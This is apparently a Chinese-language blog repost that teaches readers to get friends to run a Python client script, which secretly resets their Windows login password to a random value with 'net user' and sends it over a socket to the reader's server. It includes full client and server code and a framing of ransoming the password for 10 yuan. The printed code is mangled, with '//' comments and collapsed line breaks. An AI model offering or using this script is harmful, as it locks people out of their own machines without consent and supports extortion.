今天教大家用python腳本來(lái)控制小伙伴們windows電腦的開(kāi)機(jī)密碼。沒(méi)錯(cuò)就是神不知鬼不覺(jué),用random()隨機(jī)生成的密碼,只有你自己知道哦~
代碼呢分兩部分,一部分是client端跟server端兩個(gè)。你只需要想辦法讓小伙伴運(yùn)行你的client端腳本就OK啦。不過(guò)在此之前你一定要在你的電腦上運(yùn)行server端哦~這樣子的話,client端會(huì)在你的小伙伴電腦上隨機(jī)生成一個(gè)密碼然后通過(guò)socket發(fā)給server端也就是發(fā)給你哦~
下面放代碼,順便加點(diǎn)注釋。
client端代碼:
# client.py: //文件名import socket //導(dǎo)入用到的模塊import getpassimport subprocessimport randomclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創(chuàng)建socket實(shí)例client.connect(('10.0.0.1', 44444)) //連接server端IP地址/端口按你自己實(shí)際情況來(lái)user = getpass.getuser() //獲取計(jì)算機(jī)用戶名psd = '' //給一個(gè)psd變量(密碼)為空f(shuō)or j in range(1, 9): //生成1-9的隨機(jī)數(shù)m = str(random.randrange(0, 10))psd = psd + msubprocess.Popen(['net', 'User', user, psd]) //在本地執(zhí)行(類似于cmd命令)client.send(psd.encode('utf-8')) //將密碼發(fā)送給server端back_msg = client.recv(1024)client.close() //關(guān)閉socketprint psd //避免出現(xiàn)差錯(cuò)忘記密碼 先在本地打印
server端代碼:
# server.py //文件名import socket //導(dǎo)入socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創(chuàng)建socketserver.bind(('10.0.0.1', 44444)) //綁定IP/端口server.listen(5) //監(jiān)聽(tīng)print('starting....')conn, addr = server.accept() //連接print(conn)print('client addr', addr)print('ready to recv the passwd...')client_msg = conn.recv(1024)print('client passwd changed: %s' % client_msg)conn.send(client_msg.upper())conn.close()server.close()
OK代碼寫完后我們開(kāi)始運(yùn)行一下程序(推薦在虛擬機(jī)下運(yùn)行,萬(wàn)一出個(gè)差錯(cuò)搞不好真忘記密碼!切記切記)~
首先先在我的Linux上運(yùn)行server端,來(lái)等待接收來(lái)自client端傳過(guò)來(lái)的密碼。
運(yùn)行server.py腳本
然后windows運(yùn)行client端,它會(huì)顯示生成的密碼
(前提是在cmd命令行下運(yùn)行否則你雙擊一下會(huì)消失)
cmd下運(yùn)行
現(xiàn)在再注銷或者是重啟輸入原始密碼就會(huì)發(fā)現(xiàn)密碼錯(cuò)誤,怎么密碼呢也已經(jīng)發(fā)到我們的server端了。
server收到密碼
如果你現(xiàn)在想改回密碼的話,千萬(wàn)不要關(guān)機(jī) 打開(kāi)cmd輸入“net user 你的用戶名 你要改變的密碼” 然后回車就ok了。
好啦,本次文章就寫到這啦。大家對(duì)什么內(nèi)容感興趣歡迎給鄙人留言,鄙人會(huì)盡量照顧到大家的口味的~
-
WINDOWS
+關(guān)注
關(guān)注
4文章
3569瀏覽量
89301 -
python
+關(guān)注
關(guān)注
56文章
4807瀏覽量
85037 -
腳本
+關(guān)注
關(guān)注
1文章
391瀏覽量
14938
原文標(biāo)題:用python來(lái)更改小伙伴的windows開(kāi)機(jī)密碼,不給10塊不給開(kāi)機(jī)
文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論